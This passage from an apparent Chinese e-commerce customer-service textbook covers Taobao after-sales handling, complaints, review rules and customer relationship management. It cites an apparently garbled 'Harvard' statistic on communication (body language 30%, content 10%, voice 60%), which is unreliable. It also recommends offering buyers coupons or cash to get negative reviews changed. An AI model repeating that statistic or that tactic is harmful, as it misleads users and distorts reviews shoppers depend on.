          需要注意的是,对于易碎商品,收到之后是可以先验货后签收的,事先需要和快递公司达成一致,告知买家收到商品之后先验货后签收,打开包装之后有任何问题时可以直接拒收,商品退回后会为买家进行更换(商家做好索赔事宜),并可以告知买家自己的联系方式,让买家有问题时可以随时联系到商家,不会让买家感觉是在推卸责任。如图1-59所示为售后物流问题处理流程。

        image.png


        图1-59售后物流问题处理流程

          如果物流问题处理不及时的话,会直接影响到买家对整个店铺的服务感受。我们一直推崇的就是换位思考、情感服务,所以深知每个买家都希望被重视。因此首先要端正态度,表达我们的服务意愿,体谅买家的情感,告诉买家在没有收到商品之前,您的钱是很安稳地留在支付宝里的,让买家有安全感,这也是一种勇于承担责任的态度,再配合问题的及时处理,相信能让买家感到满意。

        1.4.3 退款及退/换货处理

          在售后客服工作中经常会出现退款、退/换货问题。
          1.了解退款和退换货的原因
          在电商范围内,如果想从根本上杜绝退款、退/换货现象,理论上是不可能的。作为电商,能够做的是最大限度地降低退款、退换货概率,或者提升买家在退款和退换货环节的体验,从而弥补买家的不满。要做到这一点,在线售后客服首先要了解买家退款、退/换货的原因。一般来说,退款、退/换货的原因有以下几个:
          (1)物流原因
          对于物流原因,前面已经进行了简单的分析。一般来说,造成退款、退/换货的具体物流原因主要有逾期不达、货品丢失、商品破损、物流服务等。为了减少因物流而产生的售后问题,在线售后客服需要特别注意此处,需多频次查看,并及时关注物流信息。
          如果发生了买家拒签的情况,可以按照如图1-60所示流程进行处理。
        image.png

        图1-60 买家拒签流程图

          (2)商品原因
          除了物流问题引发的售后服务之外,另一个最常见的售后问题根源来自于商品本身。好的商品是一切的基础,商品本身质量过硬确实能减少售后服务的成本。很多售后服务人员大多因为商品本身问题让他们承担了很大的压力而心生抱怨,正确的心态应该是意识到售后本身也是商品的一部分。在售后过程中,与商品本身相关的主要问题一是商品的质量问题;二是与使用方法相关。
          关于商品的质量问题,买家产生疑问最多的有以下几类:
          第一,商品的保质期问题。在整个线上交易过程中,商品的保质期与详情页更新会出现时间误差,从而导致保质期信息没能及时在详情页中更新标明,其结果往往是买家收到的商品的保质期与描述页面有出入。
          第二,产品材质与描述不符或有色差。因为前期的图片处理原因、描述文案的特性,以及买家显示器等问题,导致买家收到的商品与预期值不符,价值认知产生错位,同样会导致退款、退/换货问题。
          第三,收到的产品有污损。在现实工作中,即使再严苛的出厂检验,也会有些意外因素,从而可能出现一定概率的污损问题。因为这种情况而导致退款、退/换货的比例极高。基于商品质量问题产生的退款、退/换货,需要客服保持良好的心态,主动、热情地和买家协商解决问题的办法,还要注意让买家提供照片或者其他形式的举证,这些将是解决售后问题的关键细节。
          (3)主观原因
          除了对物流和产品本身不满以外,还有一些买家的主观判断也会造成退款、退货问题,比如对交易过程中客服人员的服务态度不满、收到的商品不喜欢、拍错了尺码或颜色等,遇到这些问题时,客服能做的就是引导客户讲清事实,并且可以从退款、退货的角度引导买家换货或者转让商品,从而降低退款、退货率。
          2.细节确认
          了解了退款、退/换货的原因之后,作为售后客服,还要注意整个退款及退货环节的细节问题。只有把控好细节,才能减少整个环节出现的问题和损失。
          一般来说,售后客服需要注意的细节分为以下两个部分:
          第一,不影响二次销售的商品。在退货前和买家确认,要退回的物品是否影响第二次销售,包括但不限于是否剪标、洗过、已经使用等,此处要根据各家商品的特性来确定。对不影响二次销售的商品,可以直接走标准的退货流程。在收到退货后,也需要检查商品的完整性。
          第二,影响二次销售的商品。还有一部分顺客的退货商品,在退货前确认后,发现影响二次销售,不能进行退货,这时候作为在线售后客服要注意安抚买家情绪,讲清处理缘由,尽可能地满足买家需求,提出处理意见。同时还要做到特殊事件特殊处理,如果确实是产品的问题,则应该按照店铺特殊情况处理方法特批处理,目的是为了提升买家对店铺服务的满意度,同时也是为了弥补给买家带来的损失。
          当售后客服和买家核实好以上退货注意事项后,需要继续确定物流相关问题,其中比较敏感的是谁来承担退货运费的问题,以及快递公司的选择问题。一般情况下,客服会给出推荐物流及基础运费提示,如果需要卖家承担退货运费的,则在沟通时说明垫付运费及运费到付拒签的相关提示,避免因为买家对物流不懂而造成后续交易不快。如图1-61所示为退/换货流程图。
        image.png

        图1-61 退/换货流程

        1.4.4 售后和投诉

          1.纠纷类型
          在整个交易过程中,售后和投诉是两个不同的部分。要想解决好售后和投诉的工作,就需要先了解产生售后和投诉的纠纷类型。
          (1)售后介入
          在整个交易完成后的0~15天内,买家可以进行申请售后和投诉。通常,申请售后和投诉的要求分为4种形式:退货退款、仅退款、换货和维修。
          买家申请售后介入的原因一般是:①主商品破损;②颜色款式图案与描述不符;③配件破损;④假冒品牌;⑤功能故障;⑥效果不好/不喜欢/不想要;⑦做工有瑕疵;⑧大小尺寸与商品描述不符;⑨商品材质不符。当买家碰到上述问题时,由于交易已经完结,而且买家不确定卖家是否会承担责任,所以经常会选择申请售后服务。当卖家发现有买家提出售后申请时,应该主动和买家沟通,调查买家申请售后的原因,并争取协商解决问题,避免因为上述问题而造成不必要的退款纠纷,如图1-62所示。
        image.png

        图1-62 退款纠纷

          (2)投诉
          交易完成后,为了维护自己的利益,买家除了可以申请售后服务以外,还可以在淘宝网针对卖家的行为发起投诉。投诉类型分为以下6种。需要特别说明的是,投诉的发起条件是成功交易完成后15天内非消保订单,或者交易关闭(退款成功)后15天内消保订单。
          第一种是卖家违背承诺。即卖家承诺给买家的条件没有做到,具体包括卖家产品页面的描述、客服给予买家的承诺,以及卖家开通的承诺保证服务。
          例如,卖家答应给买家的赠品没有给,这就是典型的违背承诺。
          第二种是卖家拒绝买家使用信用卡付款。卖家开通“信用卡支付”服务后,此时买家使用信用卡支付时,卖家需要支付交易金额(包括运费)的1%作为交易服务费,而买家只需支付交易金额就行。
          拒绝使用信用卡付款指卖家已经加入信用卡支付服务,但是拒绝履行该服务。如果投诉成立,卖家将被扣4分。例如,天猫店铺在店铺中明确写出,如使用信用卡付款需要交纳1%的手续。
          第三种是卖家未按约定时间发货,如卖家页面显示24小时内发货,但是发货时间却延后了,就会造成买家对卖家的投诉。如想避免这种投诉,需要卖家特别注意在设置运费模板时,要根据实际情况设定对应的发货时间:如果有例外的情况,则需要在产品页面以及店铺的页面中进行明示,并且在买家咨询或拍下商品后,由客服主动向买家说明,避免在后期交易过程中因为发货时间而导致买家发起投诉。
          例如,在卖家页面中写明3天内发货,但是超过3天却没有发货的行为。
          第四种是未按成交价格进行交易。这种情况一般多发生于买家已经拍下商品,卖家要求买家补钱才能发货。所以,卖家在设置交易价格时,需要提前按实际销售价格设置好对应的产品价格,避免后期因为产品成交价的原因而被买家投诉。
          例如,某天笔者去买一块蜜蜡,拍下成交价为588元,而卖家告知需要补100元才发货。
          第五种是违反支付宝交易流程。这种情况多出现在交易过程中,卖家要求提前通过银行转账,或者除了支付宝以外采用类似于扫描二维码等其他方式付款,所以在交易过程中,卖家需要严格按照支付宝的交易流程进行交易。
          例如,在购物过程中,由于购买的是定制化产品,卖家说需要先通过银行汇款,才可以发最终成品。
          上面说到的5种类型投诉的发起条件是交易成功后15天内的非消保订单或交易关闭(退款成功)的消保订单。
          第六种是卖家恶意骚扰买家。这种行为包括但不限于通过电话、短信、阿里里旺、邮件等方式频繁联系买家,影响买家的正常生活,这时买家可以发起投诉。买家在交易过程中受到“恶意骚扰”,可在交易成功后15天内发起投诉。
          例如,买家小A购买了一双鞋子,收到后发现鞋子有问题,联系卖家,卖家不但不解决问题,还威胁小A如果给了中/差评,就每天打电话给她,直到她改成好评。
          上面是6种可能会导致买家发起投诉的行为,作为卖家要注意做好交易明示,有售后问题要积极处理。当然,只有做好产品和服务才能从根本上杜绝店铺投诉纠纷,做到长期良好经营。
          2.确认纠纷原因
          当店铺出现纠纷时,作为直接面对买家的一线客服,首先要做的就是先确认纠纷原因,当然还要注意交易状态是否完结。如果交易未完结,客服需要通过与买家沟通,弄清楚原因,进而根据原因和买家协商具体的解决方式。买家可以申请退/换货或者退款,卖家可以根据上一节中提到的退/换货和退款条件予以解决。在交易已经完结的情况下,有几种情况仍有可能导致纠纷产生,分别是物流原因、产品原因和售后协商原因。
          (1)物流原因
          对于物流方面的原因,本章在退/换货和退款部分已经阐述了常见问题。实际上,真正最容易引起纠纷的是卖家未按约定时间发货,以及订单已经交易成功但买家未收到货。
          特别值得注意的是,如果卖家经营的为自动充值的商品,那么自动充值的商品是系统自动判断进行发货操作的,因此不存在卖家虚假发货的情况。如果未收到交易的商品,买家可以发起未收到货的维权。
          对于一般的虚拟商品,交易超时付款时间比较短,自动发货商品一般为24小时,而其他虚拟商品为3天。卖家要注意在该时间段内准时发货,对于实物商品,物流信息不是卖家单击发货就会立即出现跟踪记录的,所以,如果卖家在买家付款后72小时内发货(如双方另有约定的除外),此时间段内没有物流跟踪记录或者物流信息与买家收货信息不符合,买家可以发起退款(即使买家已经确认收货,也依然可以发起未按约定时间发货的投诉),退款成功后,买家可以对卖家发起违背发货时间承诺的维权。一旦发生这类情况,客服要在第一时间联系买家,核实情况,双方协商解决,给买家满意的解决方案,避免店铺产生售后纠纷。
          在现实交易过程中,有很多情况是物流公司方面造成的,如没有及时更新物流信息,或者其他原因导致买家未按约定正常收到货。卖家在和买家联系时要做出合理解释并且给出解决方案,尽快解决问题。若最终未与卖家协商一致的买家,可以对卖家发起违背承诺的投诉。在交易订立过程中,商家自行承诺或与买家约定特定的运送方式、特定的运送物流、快递公司等,但实际未遵从相关承诺或约定的均属于违背承诺,每次扣4分。
          特别提示:卖家在整个交易过程中要及时安排发货并关注物流异常的订单,及时处理,积极与买家沟通协商,遇到问题时能够友好协商解决,才能避免店铺纠纷,维护店铺正常运营(千牛软件在工作台状态下可以看到异常物流的信息,需要客服及时跟踪)。
          (2)产品原因
          对于产品原因,在退货和退款章节里面提到过,一般是商品的质量问题或者是在商品的使用方法中出现误解。还有一种情况就是买家在使用过程中,产品出现了问题,这种问题可能是买家收到货时就存在的,也可能是买家收到货后造成的,买家可以在交易成功的15天内申请售后,发起退货、退款或换货、退款。当发生此类售后问题时,卖家就需要及时和买家沟通,确定售后问题发生的原因,进而判断该问题的责任方,并给买家提出解决方案。
          客服在售前要做到合适、专业地接待买家,当然也要做到对店铺的情况真正了解,配合仓库物流仔细检查产品质量,产品页面描述合理、准确、详细,才能减少售后和投诉纠纷的发生。同时,卖家也需要积极处理买家提出的问题,尽量减少店铺纠纷的发生,避免因为店铺纠纷率过高而影响运营。

        1.4.5 评价管理

          在整个交易过程中,最后一步就是买家和卖家互相评价。在评价时,一般会分为好评和中评、差评。天猫店铺虽然没有中评、差评的选项,但是如果买家对卖家的服务、产品、物流等不满,也会给卖家做出负面评价。不同的评价有不同的积分规则,买家评价后,作为卖家也需要做出相应的回评解释。下面介绍针对店铺买家的评价,对好评和中评、差评分别进行对应的操作。
          在淘宝平台中,虽然很多人认为评价解释不再那么重要了,但是大家要知道,一个新买家进入商品页面后还是会先去看已有评价的,好的评价是店铺的必备利器,能帮助店铺完成临门一脚的交易;反之,中评、差评如果不好好处理,则很有可能会把买家“吓跑”。
          1.评价规则
          关于评价积分的计算方法,具体为:“好评”加1分,“中评”0分,“差评”扣1分,如图1-63所示。
        image.png

        图1-63 评价规则

          计分规则(含匿名评价):
          每个自然月中,相同买家和卖家之间的的评价计分不得超过6分(以淘宝创建的时间计算)。超出计分规则范围的评价将不计分。
          解释:每个自然月相同买家和卖家之间的评价计分在[-6,+6]之间,每个自然月同一买家和卖家之间总分不超过6分,也就是说,总分在6分和+6分之间。
          (2)14天内(以淘宝订单创建的时间计算)相同买家和卖家之间的评价,多个好评只计1分,多个差评只扣1分。
          (3)交易成功后15天内买家若不主动评价,系统会自动默认好评,不会给中评或差评。另外,系统默认的好评只要符合评价计分规则,都会为双方增加对应的信用度。
          系统自动默认好评有以下两种情况:

        • 一方给了好评,但另一方没有回评,在交易成功后15天内系统会代另一方自动给予好评(因系统滞缓会有延后生效显示的情况)。
        • 天猫(原淘宝商城)订单买家进行店铺评分后,系统即时自动代卖家给买家一个好评。
            系统不会默认评价的有以下几种情况:
        • 一方作出的是“中评”或“差评”,则系统不会代另一方默认回评。
        • 双方在评价期间内均未作出评价,则双方均不发生评价,无评价积分。天猫订单买家在评价期间内未进行店铺评分,则系统不会默认代卖家回评。

          上面所述内容是淘宝网上评价的具体规则。由此可见,买家是否下单,取决于通过产品页面的介绍来判断产品和服务的质量,绝大部分买家除了看产品页面的产品价格和介绍以外,还会选择看店铺的产品评价,通过之前下单的买家对产品的评价来判断产品的真实情况、使用后的效果,以及卖家的服务态度。所以,维护好店铺的评价对于产品的转化率起着至关重要的作用。
          2.好评处理
          卖家提供优质的产品和用心的服务,买家收货后对产品和服务都满意时一般都会给卖家好评。对于卖家,收获好评并不意味着这个订单完美收尾。一条评价在页面中展示,其他买家除了能看到这条评价外,还能看到卖家的解释。因此对于给出好评的买家,卖家也可以对买家好评做出合适又有亲和力的回复,回复解释内容会显示在被评价方的信用评价页面对应的评价下(如买家选择了匿名评价,则买家对收到的评价作出的相应解释将不显示),对买家的复购及店铺形象的口碑传播都非常重要。评价解释期为对方作出评价的30天内,逾期解释入口将关闭。合理又有创意的回复解释不仅可以维护店铺的买家黏度,还可以让网店更加人性化,提升买家对店铺的好感。
          3.中/差评处理
          (1)确认中/差评原因:
          在销售过程中,让卖家比较头疼的就是买家的中/差评。中/差评不但直接影响产品的转化率,还会直接影响店铺的口碑,甚至会影响品牌的名誉。一般来说,导致中/差评的原因主要有以下几种:

        • 关于商品的问题。买家收到的货少了、破了、有色差、有气味、有线头、质量不好、怀疑不是正品等导致的中/差评,这些情况占中/差评总数的一半。
        • 买家主观感受问题。买家觉得尺码不标准、买贵了、收到后不想要了、没有想象中的好等原因而导致的中/差评。
        • 服务售后相关问题。售前、售后态度反差大、回复不及时、退货/退款无法达成共识产生纠纷、出现问题客服不予处理等店铺服务的原因导致的中/差评。
            (2)解决方法:修改评价,如图1-64所示。

        image.png

        图1-64 修改评价

          当店铺出现中评或差评时,作为卖家,一定要第一时间通过买家的评价内容判断出是什么原因导致了中评或差评,并且根据中评或差评的原因,快速给出解决方案。
          根据淘宝网的评价管理,在买家对某笔订单作出评价后的30天内,买家可以对中/差评进行修改或直接删除。而且要注意,买家一旦给卖家店铺做出好评,就不可以再修改或删除。中/差评的修改路径是“我的淘宝”→“我的评价”→“给他人的评价”。
          评价修改或删除后即时生效,页面显示会有30分钟的滞后,如图1-65所示。
        image.png

        图1-65 修改评价具体操作

          中/差评的解决方案一般有以下几种:
          第一,因为产品问题而导致的中/差评。卖家要联系买家核实产品的具体问题,根据问题的严重程度及买家的意向,给买家退/换货或者进行部分退款补偿。问题解决后,引导买家修改中/差评。由产品问题引起的中/差评,在问题解决后,买家一般也会对店铺服务的好感度有所提升,还是愿意给卖家修改中/差评的。
          第二,因为买家主观感受而导致的中/差评。这种情况一般是因为买家收到产品后感觉没有预期中的好,自己所付的商品价格不值。这时卖家可以联系买家提出补偿,例如补偿可以直接抵现的店铺优惠券或者店铺红包,来弥补买家的心理落差,并引导买家修改中/差评。
          第三,因为店铺服务而导致的中/差评。对于这种情况,卖家首先要确定导致中/差评的原因是快递服务还是店铺客服,为店铺后期服务的提升和改进明确方向。若是快递原因,卖家一定要首先对买家表示歉意,并且及时和合作的快递公司沟通;若是客服原因,卖家一定要及时针对客服问题作出改进。但不管是快递还是客服的原因,都要确保后期类似的问题不再发生,最好是给买家适当的补偿,可以是直接抵现的优惠券或者现金补偿,来平息买家的不满情绪,进而修改中/差评。
          第四,恶意中/差评师给出的中/差评。对于这种情况,卖家在处理时一定要收集有力证据。
          恶意评价,是指买家或同行竞争者等评价人以给予中/差评的方式,谋取额外物或其他不当利益的行为。淘宝网恶意评价受理范围是:对于不合理要求,需双方聊天举证号,证明评价者以中/差评要挟为前提,利用修改中/差评谋取额外钱财或其他不当利益的评价,如图1-66所示。
        image.png

        图1-66 恶意评价维权

          (3)处理中/差评应注意的细节如下:

        • 卖家客服在处理中/差评时需要看买家和卖家的聊天记录,以及买家的评价内容,先对买家的性格有一个大概了解,然后根据买家的性格采用其最能接受的方式进行沟通,选择对应的解决方式。
        • 如果买家答应修改评价,客服要保证时效性并及时跟进。
        • 避免和反应过激的买家有言语冲突,最好是安静倾听,然后协商。

          (4)中/差评回复解释。
          很多时候,店铺里总会有部分中/差评是无法修改或删除的,原因可能是联系不上买家,或者和买家协商不一致而导致的。这个时候,作为卖家客服,必做的一项工作就是对中/差评的回复解释。对中/差评回复解释时需要注意,要根据中/差评的原固,有针对性地回复买家,如图1-67所示。
        image.png

        图1-67 评价解释

          4.常用沟通工具
          卖家在修改中/差评时,很重要的一个步骤就是联系买家。但是应该使用哪些工具来联系买家呢?针对淘宝网交易的独特性,一般会通过阿里旺旺、电话、短信方式来联系买家。
          (1)阿里旺旺
          如果买家的阿里旺旺在线则是最合适的联系方式,可以随时调用之前的聊天记录来和买家协商沟通,并且可以保留聊天记录,一旦发生恶意中/差评勒索的情况,就可以将聊天记录作为直接凭证来发起卖家的维权。
          (2)电话
          可以通过电话联系买家,帮助买家解决问题,处理中/差评。但是卖家在使用电话联系买家时要注意,不要频繁地给买家打电话,以免引起纠纷或者影响中/差评的处理。
          (3)短信
          一般是在使用阿里旺旺联系不到买家,或者买家不方便接听电话时,可以通过短信方式向买家说明处理问题的态度和意向,引导买家通过阿里旺旺联系客服来解决相关问题,问题处理过后引导买家修改中/差评。
          卖家在发现店铺中/差评时一定要认真对待,根据中/差评的不同原因给出不同的解决方案,在最短的时间内联系买家解决问题。只有了解买家心理,才能做“常胜将军”,才能更好地维持客户的黏度。而引导买家修改或者删除对店铺有不良影响的评价,这样也才能维护好店铺的形象,将店铺的中/差评对店铺形象的影响降到最低。

        1.4.6 售后客服电话沟通技巧

          客服在收到中/差评之后,有时单纯地通过阿里旺旺向买家解释沟通可能不行,因此可以采取最直接的方法——打电话沟通。买家拍下订单时会留下自己的联系方式和详细信息,客服根据买家留下信息与买家进行电话沟通,可通过说话的语气和态度显示自己的诚意,更加准确地表达自己的诉求。
          哈佛大学的一份关于人体行为研究报告中指出,说话的内容和声音,在人与人的交流中占了很大的比例,由此可以看出电话沟通的重要性。

        • 肢体语言30%;
        • 说话的内容10%;
        • 声音60%。

          因此,售后客服打电话沟通非常重要。客服在收到中/差评之后,要第一时间和买家取得联系,而打电话便是联系买家的途径之一。客服必须要明白打电话沟通是最好的沟通方式,首先,电话沟通的方式可以让客服和买家进行直接沟通,信息的互动性极强,能够迅速把握买家的需求;其次,通过语言的交流,可以迅速读出买家的感情和情绪,也能够根据买家的情绪变化巧用不同的术语;最后,电话交流极大地节省了时间,时效性极强,对于解决紧急问题非常有效。既然电话沟通有这么多好处,那么客服打电话时应该注意哪些方面呢?
          (1)时机
          打电话给买家时一定要掌握时机,避免在吃饭、休息的时间段与买家联系,一般早上10点、下午3~4点、晚上8点左右为宜。电话接通后,开场白要主动表明自己的身份和目的,并礼貌地征询买家是否有时间或此时是否方便接听电话。
          (2)准备
          在拨通电话之前,客服需要对自己将要说的内容整理出大致的条理,买家的相关信息、沟通的主题、事情的轻重缓急等最好先在纸上列出几条,以免对方接电话后,由于紧张忘了自己的讲话内容,或是表述不清楚。另外,和电话另一端的买家沟通时的每一句话该如何说,要表达什么意思,客服都应该有所准备。
          (3)接通电话
          电话接通之后就开始和买家进行交流了。客服需要从声音、语气,态度、说话逻辑关系等各个方面把握时,力图给买家留下一个好印象。以下就是在电话接通后,客服应该注意的一些事项:
          第一,首先要保持一个轻松、愉快的心情,让对方听到你愉快的声音,即使面对的是给了你中/差评的买家,也一定要以一个轻松的心情面对他。因为大多数的买家并不是无缘由的就给出中/差评,因此我们就要以倾听者的角度去和买家交流,拉近与买家之间的距离感,为沟通提供较为轻松的环境。
          第二,客服一定要微笑,虽然对方看不到你,但是可以从态度、说话字眼中感觉得到。微笑是人类最美的语言,在电话沟通中也不例外。调整语速、语调,将微笑传递给买家,拉近与买家的距离,让对方感受到自己的友好和诚意,让聊天的气氛更为轻松、活泼,有助于沟通的顺利进行。
          第三,认真倾听对方的问题,适时地回答,不要打断对方。
          当客服友好地自我介绍,并向买家表明来意之后,就开始进入谈话的正题。客服应仔细询问买家给出中/差评的原因。当买家说出自己的不满和给出中/差评的理由时,请认真倾听,必要时可以用纸笔记录下来,并适时地回答对方的问题,切忌急于解释,或打断对方的话,这样不仅不礼貌,还会让对方感到不满,致使沟通陷入僵局。
          第四,当对方说完问题后,作为客服应该大致了解买家给出中/差评的主要原因,也许是因为商品质量、物流速度、客服态度等诸多原因,但客服一定要从买家的回答中总结他们不满意的地方。在清楚了解原因之后,无论是谁的过错,客服一定要先说对不起,然后和买家确认是否是基于所总结的原因给出的中/差评。之后客服要给出一个解决方案,而这个方案一定要和买家协商,当和买家达成一个双方都认可的方案时,客服要以店铺的实际能力给买家做出一个保证,如可以通过对商品质量的保证、具体的物流时间的保证、选礼品和代金券的保证等,让买家对自己的店铺重新树立信心。
          第五,向对方说明中差评对于店铺发展的巨大影响,引导买家修改中/差评。
          当买家对解决方案感到满意之后,客服需要向买家说明中/差评对于店铺发展的巨大影响,希望对方能够体谅,用真情去打动对方。当对方同意修改中/差评之后,客服可以指导买家如何通过淘宝网页修改中/差评,再和对方确认是否已经修改成功。当买家成功修改了中/差评后,客服的中/差评维护也取得了成功,一定不要忘记对买家的理解表示感谢。
          总之,通过电话与买家进行沟通和我们平时的通话不一样,一定要注重每一个细节,尽力让买家对店铺的印象有所改观。我们需要用微笑去服务对方,相信通过努力总能换来好的结果。
          (4)电话沟通的话术
          电话沟通案例,如图1-68所示。
          通过电话与买家沟通,客服要注意不能与买家产生冲突、要礼貌对待,售后问题要跟进到底,责任到人,以免纠纷升级,并且要不断提高自己的业务能力,提高电话沟通技能。
        image.png

        图1-68 电话沟通案例

        1.5 客户关系管理

        1.5.1 什么是客户关系管理

          客户关系管理(Customer Relationship Management,CRM)是一种战略管理,是商家通过有效的管理制度和技术工具,不断加强与客户交流、不断了解客户需求、不断挖掘客户价值的过程。客户关系管理以客户为中心,与前端销售是不同的。
          工作流程:收集客户信息→分析客户数据→细分客户类型→制定相应的营销策略→维护客户关系,提升客户价值,如图1-69所示。
        image.png

        图1-69 客户管理管理流程

          客户管理的核心思想:通过完善客户服务和需求,向客户提供满意的产品和服务,达到客户满意的目的。
          其实客户关系管理好比恋爱时对男友(女友)的关系管理,如图1-70所示。
        image.png

        图1-70 恋爱管理

        1.5.2 客户管理的重要性

          网店客户进入和成长的路径,如图1-71所示。
          对于一个网店而言,从一个新客户进入店铺开始到成为忠诚客户,有着非常清晰的成长路线。
          客户进入店铺首先成为访问客户,如存在购买意向,则成长为潜在购买客户,经过店铺一系列的影响策略和细致的服务后,客户购买商品成为购买客户。
        image.png

        1-71 客户进入和成长的路径

          但是成为购买客户后并不意味着交易的结束,据统计分析,开发一名新客户的成本是维护一名老客户成本的7倍;向新客户推销产品的成功率是15%,向老客户推销产品的成功率是50%;满意的客户会带来8笔潜在的生意,不满意的客户可能影响25个人的购买意愿;60%的新客户来自老客户的推荐。如果忽略对老客户的关注,大多数企业会在5年内流失一般的客户。
          下面我们分析一下新/老客户的购物路径,如图1-72所示。
        image.png

        图1-72 新客户与老客户对比

          通过对比新/老客户的购物路径我们发现,新客户在评估商家、购物过程咨询、售后满意度等方面比老客户要复杂,老客户的维护成本自然也就更低。
          因此,深度挖掘老客户的价值,不仅能够降低推广成本,更重要的是能增强顾客忠诚度。

        1.5.3 网店的客户管理过程

          经营网店并不是一个短期行为,在长期的经营过程中,卖家希望拥有更多的长期客户,如何对有重复购买行为和意愿的买家进行跟踪和管理,也是作为卖家该用心考虑的问题。网店的客户管理过程如图1-73所示。
        image.png

        图1-73 网店的客户管理过程

          我们可以通过建立简单有效的客户跟踪档案来积累客户资料,根据会员分布情况设置合理的会员等级,把客户根据消费水平、购买频次、购买周期等条件进行客户分类,然后进行精准的客户关怀和客户营销,从而建立优质的客户关系管理方案。

        1.5.4 客户的分析及打标

          1.客户购物分析
          以淘宝网为例,顾客进入店铺的路径常见的有:搜索、活动、购物车、站内及站外广告、分享、老客户回购等。
          接下来我们通过一个例子帮助大家理解什么是路径分析。
          对于路径搜索,这类客户群的特点是:购买目标明确,带着购物需求咨询,相对容易成交。客户维护要点:分析顾客购买商品的使用周期。
          举例:笔者刚有宝宝的时候,需要购买奶粉,于是笔者就在网上搜索什么品牌的奶粉适合刚出生的宝宝喝。通过搜索,笔者锁定了美素佳儿这个品牌的奶粉。之后通过搜索“天猫国际”,笔者从其中的一家店铺购买了这个品牌1段的奶粉,并且每个月都会买2罐,后来这家店铺就根据笔者的购买习惯每个月向笔者推送优惠券。当孩子吃的奶粉需要从1段换到2段的时候,这家店铺又有2段的促销活动。而笔者觉得有优惠券可用很好,所以就很少再搜索其他商家了。这家店铺通过这样的方式成功地“拦截”了笔者购买其他商家同品牌奶粉的机会。
          分析顾客进入的路径,可以了解顾客的浏览偏好及购物行为习惯,帮助我们有针对性地对顾客进行维护。对于其他路径进入店铺的顾客,在这里暂不多举例子。
          2.客户“打标”
          什么是顾客打标呢?为什么要给顾客打标?
          客户在购物的过程中,和客服第一次打交道的时候,客服对顾客能否留下印象是至关重要的,所以作为网店客服人员,当有顾客进店询单时,需要考虑以下几个问题:

        • 他/她是谁?
        • 他/她好说话吗?
        • 他/她以前在店内消费过吗?消费了多少?
        • 他/她是我们的会员吗?
        • 他/她喜欢晒图吗?
        • 他/她对价格敏感吗?

          为什么要这样想?
          一个优秀的客服,不仅仅是在询单转化率、服务态度、响应速度上做到优秀,而是要更多地去思考顾客是个什么样的人?顾客在想什么?如何让顾客记住我(即个人印象或品牌印象)?
          这是什么?这就是顾客画像。
          当有人向你这样介绍一个人的时候,比如某男很胖,身高160,头发很长,胡子很长,喜欢说脏话,有钱。你是不是在大脑里对他有一个印象了呢?
          再比如,当有顾客上门询单的时候,你能在1秒钟内在大脑中形成客户画像,是不是和对方沟通的时候更容易一些呢?
          那这是什么?这是标签,可以描绘出一个人的标签,也叫关键词。
          那该怎么做?
          为了更好地在接到客户询单时在大脑中快速形成客户画像,来迅速判断出自己的话术和营销策划,我们必须从多维度来设计标签。
          网店的会员标签分为两种,一种是手动标签,一种是自动标签,如图1-74所示。

        • 手动标签:需要我们在和客户聊天过程中,通过沟通技巧(话术)来获取对方的信息,然后给对方打上标签。
        • 自动标签:通过系统的筛选条件,自动给包含这些条件的客户打上标签。为了更好地让客服识别标签,在标签上加上数字来判断。

        image.png

        图1-74 网店会员标签

        1.5.5 客户群组工具及客户关怀

          1.客户群组工具
          为了能够更好地与顾客互动,还需要一个将顾客按不同标准进行分组的工具。目前,常用的沟通工具有千牛好友分组、阿里旺旺群、微信群等。
          (1)千牛好友分组
          当顾客通过阿里旺旺向客服咨询时,作为客服,首先应该将顾客加为好友,并放到相对应的分组中。好友分组可根据所售商品、顾客特征、喜好、购物习惯等进行自定义设置。当顾客再次沟通时,客服可以根据该顾客分组标签第一时间判断出顾客的需求或特征,并且客服也可以在同一组顾客中通过群发信息的形式定期推送信息。
          (2)阿里旺旺群
          也可以将顾客添加到阿里旺旺群中,通过阿里旺旺与顾客沟通,建立感情,使顾客对品牌、产品、服务的好感度不断增强。
          (3)微信群
          目前,很多商家在发货包裹中都会放上自己的微信群的二维码,邀请顾客扫码入群。阿里旺旺群与微信群都是双向互动的沟通方式,但是微信群更灵活,很多商家都会在微信群中定期发送红包来刺激顾客购物的积极性,是目前大部分顾客喜欢的一种方式。
          2.客户关怀
          对商家而言,忠诚的客户是商家竞争中最有力的支持,如何维系客户在日常交易及大促销中的忠诚度,如何让客户再次产生购买行为,把顾客忠诚度变现,都是做客户关系管理的关键。只有不断地给顾客提供优质的产品、舒适的服务,从而提升顾客的满意度,才能达到顾客与商家双赢的结果。
          一个店铺的顾客消费是具有生命周期的,一般经历产生、成长、成熟、衰老和死亡5个阶段。其中,成长、成熟和衰老往往伴随着消费行为,而成熟期则是消费的黄金阶段。如何延长成熟期,则是客户关怀的内容和最终目的。
          对老客户的关怀,可以提升顾客的满意度,顾客回购,是因为信赖产品及服务,从而更加愿意尝试高价产品,对产品口碑相传。越忠诚的顾客,越追随品牌,而对价格的波动不敏感;相反,流动的顾客,往往关注的是产品本身或价格。
          3.关怀方式
          目前,常用的关怀方式有短信、电话、阿里旺旺、邮件等。
          (1)短信关怀

        • 优势:覆盖面广,收费低,可群发;
        • 缺点:字数有限,无表情,容易被忽略。

          如果商家采取短信关怀方式,不宜在顾客休息或忙碌的时间段发送短信,短信内容不宜死板,如,我是××店铺,店内现在全场5折等。
          (2)电话关怀

        • 优势:实时性高、沟通效果好、顾客记忆深刻;
        • 劣势:成本高、对沟通人员要求高、效率低、搔扰度高。

          电话关怀时间不宜过早或过晚,关怀内容不适合推送促销信息,更适合关怀顾客使用产品的感受。如果顾客表示不愿意接到类似的电话时,应及时致歉并在该顾客标签中备注留档。
          
          (3)阿里旺旺关怀

        • 优势:免费,可使用表情,可群发,不限制字数,骚扰性低;
        • 劣势:顾客不在线时无法及时沟通。

          (4)邮件关怀

        • 优势:可群发,可制作精美的版面与图文;
        • 劣势:容易被当作垃圾邮件,时效性差。

          4.关怀内容
          商家向顾客传达关怀意愿的形式和内容也是多种多样的,常见的有售后关怀、情感关怀、节日关怀及促销推送。
          (1)售后关怀
          当顾客下单付款后,商家发货时通常会给顾客发送短信,告知发货时间、使用的快递等。例如:亲,您购买的宝贝已经发货,使用的是圆通快递,预计2~3天到达,请保持手机畅通,方便快递联络。当快递到达顾客所在的城市时,顾客也会收到短信提示;如果因为天气或其他不可抗力情况导致物流不能按时到达时,也可以发送短信告知顾客。这些都属于售后关怀。
          售后关怀能够帮助顾客清楚地知道自己所购买的产品的物流情况,从而提高顾客的购物体验,提升满意度。
